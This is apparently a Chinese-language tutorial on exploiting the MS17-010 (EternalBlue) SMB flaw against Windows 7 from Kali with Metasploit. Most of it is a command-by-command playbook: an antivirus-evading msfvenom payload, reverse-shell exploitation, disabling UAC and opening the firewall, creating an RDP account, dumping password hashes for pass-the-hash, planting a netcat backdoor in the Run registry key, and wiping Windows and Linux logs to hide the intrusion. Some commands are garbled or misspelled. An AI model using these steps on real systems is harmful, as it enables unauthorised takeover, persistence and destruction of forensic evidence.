背景
MS17-010是Windows系统一个底层服务的漏洞,当 Microsoft 服务器消息块 1.0 (SMBv1) 服务器处理某些请求时,存在多个远程执行代码漏洞。成功利用这些漏洞的攻击者可以获取在目标系统上执行代码的能力。为了利用此漏洞,在多数情况下,未经身份验证的攻击者可能向目标 SMBv1 服务器发送经特殊设计的数据包。
知名事例:
永恒之蓝:2017年4月14日晚,黑客团体 Shadow Brokers (影子经纪人)公布一大批网络攻击工具,其中包含从美国国家安全局(NSA)盗走的黑客渗透工具“永恒之蓝”。
该工具是利用Windows系统的SMB漏洞就可以直接获取系统最高权限。
5月12日,骇客通过改造“永恒之蓝”制作了Wannacry勒索病毒并席卷了全球,被渗透的主机都被加密硬盘驱动器主文件表(MFT),使主引导记录(MBR)不可操作,通过占用物理磁盘上的文件名,大小和位置的信息来限制对完整系统的访问,从而让电脑无法启动,相较普通勒索病毒对系统更具破坏性。
环境
1、Windows 7
2、KALI
原理
远程桌面协议(Remote Desktop Protocol)是一个多通道(multi-channel)的协议,可以让客户端连上windows开启远程服务的电脑。
linux系统账户库
1
/etc/passwd
windows系统账户库
1
c:\\windows\system32\config
用户账户控制(User Account Control)是微软在其windows操作系统中采用的一种控制机制,其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序损坏系统的效果。
Windows系统中administrator的权限不是最大的,最大的是system,很多信息只有system才能查看,比如注册表的sam信息,administrator是看不了的。
windows注册表参数设置
ADD 添加一个注册表项
-v 创建键值
-t 键值类型
-d 键值
-f 强制修改注册表项
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter-Shell的链接。
Meterpreter-Shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
PsExec是一个轻型的telnet替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。PsExec最强大的功能之一是在远程系统和远程支持工具(如ipconfig)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。
PsExec利用某一个账号,通过SMB协议连接远程机器的命名管道(基于 SMB 的 RPC),在远程机器上创建并启动一个名为 PSEXESVC 的服务,PSEXESVC 服务会注册新的命名管道。
PsExec连接至PSEXESVC新创建的命名管道,通过此管道通知PSEXESVC服务在远程机器上面启动我们指定的程序,并将程序的 stdin 与 stdout 通过命名管道转回本地 Shell,现实远程命令的本地交互。
挖坑过程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
msfvenom -a(指定架构,选择x86,也能在64位下运行) X86 -platform(指定运行平台) windows -p(指定攻击载荷) windows/meterpreter/reverse_tcpmsfdb run #运行Msfvenom
search ms17-010 #搜索ms17-010模块
use auxiliary/scanner/smb/smb_ms17_010 #进入扫描模块
set RHOSTS #设置ip
exploit 运行模块
如果存在漏洞
use exploit/windows/smb/ms17_010_eternalblue 进入使用模块
set RHOSTS #设置ip
set Payload windows/x64/meterpreter/reverse_tcp #设置监听模块
set LHOST #设置ip
run #运行
getuid #查看权限
shell
chcp 65001 #修改编码
netsh firewall add portopening tcp 4444 "test" ENABLE all #设置防火墙规则
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrenVersion\Policies\System /v Enable:ua /t REG_DWORD /d 0 /f #关闭UAC
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrenVersion\Policies\System /v LocalAccountTolemFilterPolicy /t REG_DWORD /d 1 /f #开启共享服务
background #保存当前渗透会话
sessions ?#进入会话
操作示例
设置远程并创建远程账户
run post/windows/manage/enable_rdp USERNAME=TEST PASSWORD=TEST
rdesktop ip #进入远程
通过账户和密码hash提权高权限账户
hashdump #查看该系统下账户hash
use exploit/windows/smb/psexec #进入模块
show options #查看模块参数
set RHOSTS SMBUser SMBPass SMBDomain #设置参数
set Payload windows/meterpreter/reverse_tcp
run
上传后门病毒
upload /usr/share/windows-binaries/nc.exe C:\\???\
修改注册表开机启动项,执行nc.exe反弹shell
reg serval -l HKLM\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\????\nc.exe -Ldp 443 -e cmd.exe
参数说明
-L 表示用户退出连接后重新进入端口监听
-d 后台运行
-p 指定端口
-e prog程序重定向,连接即执行
shutdown -r(重启) -f(强制) -t(时间) 0
或
reboot
渗透结束后,清除渗透痕迹
net user 添加的用户名 /del #删除远程时创建的账户
exit #退出shell
clearev #删除日志
sessions -K #删除会话
在shell下执行清除系统日志 del %WINDIR%\*.log /a/s/q/f
linux下清理方式(需获得root权限)
可创建sh脚本清理
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/log/utmp
history -c
LHOST=X.X.X.X LPORT=(端口) -b(去掉坏字符)“\x00”(x表示16进制,00表示空字符) -e(指定编码器,主要为了逃过杀毒,免杀) x86/shikata_ga_nai -i(编码次数) 10 (文件随着编码次数变大) -f(指定输出格式) exe -o /var/xxxxxx